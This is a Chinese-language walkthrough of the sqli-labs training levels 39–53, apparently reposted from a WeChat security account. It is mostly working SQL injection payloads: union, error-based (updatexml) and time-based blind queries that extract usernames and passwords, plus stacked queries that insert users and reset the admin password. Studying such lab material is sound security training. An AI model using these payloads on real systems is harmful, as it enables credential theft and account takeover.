Stacked Injections
less 39
这一题是堆叠注入
,用;
来分开执行sql语句。
判断注入类型
输入1'
,回显报错信息,根据报错信息确定为数字型注入
。根据下列语句进一步确定。
?id=1--+
插入数据
使用堆叠注入,插入id为100的用户数据
?id=1;insert into users(id,username,password) value("100","100","100")--+
less-40
判断注入类型
输入1'
,回显不正常,而输入1
和1"
则成功回显id为1的用户数据,根据下列语句进一步确定是简单的'
还是')
。
?id=1')--+
插入数据
?id=1');insert into users(id,username,password) value("101","101","101")--+
less-41
判断注入类型
数字型注入
?id=1--+
插入数据
?id=1;insert into users(id,username,password) value("102","102","102")--+
less-42
这一关是登录框页面,先看看注册用户
和忘记密码
,发现是无法使用的。然后分别在用户名和密码处单独输入1'
,发现在密码处输入是回显报错信息的,根据报错信息,我们可以发现这是一个单引号字符型注入
,注入点在password
处。 输入下列语句进一步确定是单引号字符型注入
' or '1'='1
联合注入
' union select 1,2,3#
' union select 1,(select database()),3#
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'#
' union select 1,group_concat(username,password),3 from users#
堆叠注入
这一关除了可以使用联合注入
,还可以使用堆叠注入
插入数据或者更新密码。现在试一下更新密码
';update security.users set password='123456' where username='admin'#
然后登录admin
,密码是123456
less-43
这一关和less-42是一样的,主要是闭合点不一样。 注入处还是在password
处,输入1'
是会报错的,根据报错信息是可以判断出闭合点是')
。输入下面语句能直接校验闭合点。
') or 1=1#
后面是注入手法和上一个是一样的
less-44
这一关无论输入1'
还是1"
什么都只会回显一个页面
这时候,有没有可能这是一个盲注呢?
试试万能密码
' or 1=1#
登录成功,果然是盲注,然后闭合符是单引号。
盲注手法
' or if(length((select database()))=8,sleep(5),1)#
' or if(ascii(substr((select database()),1,1))=115,sleep(5),1)#
' or if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(5),1)#
' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)#
' or if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(5),1)#
' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),1,1))=105,sleep(5),1)#
' or if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)#
堆叠注入
需要留意一下,因为前面修改密码为123456,所以这这一关需要改为与前面不同的密码:123123
';update security.users set password='123123' where username='admin'#
less-45
这一关和less-44一样,也是无论输入什么只能回显一个页面,所以使用闭合符不一样的万能密码尝试。
下面万能密码能够登录成功。
') or 1=1#
后续的注入手法和上个关卡一样,只需要修改闭合符。
less-46
这一关是get请求,让我们输入带参数的sort值
,输入sort=4
的时候会回显报错信息,与order by
的报错信息一样。先试一下联合注入,但回显报错,orderby不能与union一起使用
虽然报错,但也得到一个有效信息,这是一个
数字型注入
。
既然联合注入不行,那就试试报错注入
。
爆数据库
?sort=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名
?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆列名
?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
爆数据
?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from users limit 0,1),0x7e),1)--+
less-47
输入1'
,回显报错信息,根据报错信息可以知道闭合符为单引号
,其他的注入手法与less-46一样,只需要改变闭合符。
less-48
这一关,无论输入什么都不会回显报错信息,需要使用盲注手法。不断修改闭合符,通过页面延时效果判断为数字型注入
?sort=1 and if(length((select database()))=8,sleep(5),1)--+
?sort=1 and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
?sort=1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(5),1)--+
?sort=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
?sort=1 and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(5),1)--+
?sort=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),1,1))=105,sleep(5),1)--+
?sort=1 and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(5),1)--+
less-49
通过输入1'
,1"
,1
发现当输入1'
时的回显页面的不正常的,猜测为单引号字符型注入
;然后没有报错信息回显,使用时间盲注。后续注入手法和less-48一样,只需要修改闭合符
less-50
输入1'
,回显报错信息,根据报错信息可以发现还数字型注入
。
既然有报错信息,那就可以使用报错注入
。
?sort=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(username,password) from users limit 0,1),0x7e),1)--+
看到sort=1
页面显示的账号和密码,那再试一下堆叠注入
。
?sort=1;insert into users(id,username,password) value("105","105","501")--+
更新密码也来一个
?sort=1;update security.users set password='105'where username='105'--+
less-51
输入1'
,回显报错信息,根据报错信息可以知道闭合符为单引号
。有报错信息,可以使用报错注入
,注入手法和上一关一样,只需要修改闭合符。
less-52
输入?sort=4
,页面回显不正常,但是没有报错信息,可以使用时间盲注
,注入手法和less-48一样,至于闭合符,需要不断修改payload试错,通过页面延迟来判断,为数字型注入
堆叠注入
插入数据
?sort=1;insert into users(id,username,password) value("106","106","601")--+
更新数据
?sort=1;update security.users set password='106'where username='106'--+
less-53
和上一个的方法一模一样,不同的是闭合符。 既可以使用时间盲注
,也可以使用堆叠注入。
该关卡为单引号字符型注入
堆叠注入
插入数据
?sort=1';insert into users(id,username,password) value("107","107","123")--+
更新数据
?sort=1';update security.users set password='321' where username='107'--+
原文始发于微信公众号(泷羽Sec-Z1eaf):保姆级教学之sqli-labs(less39-53)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论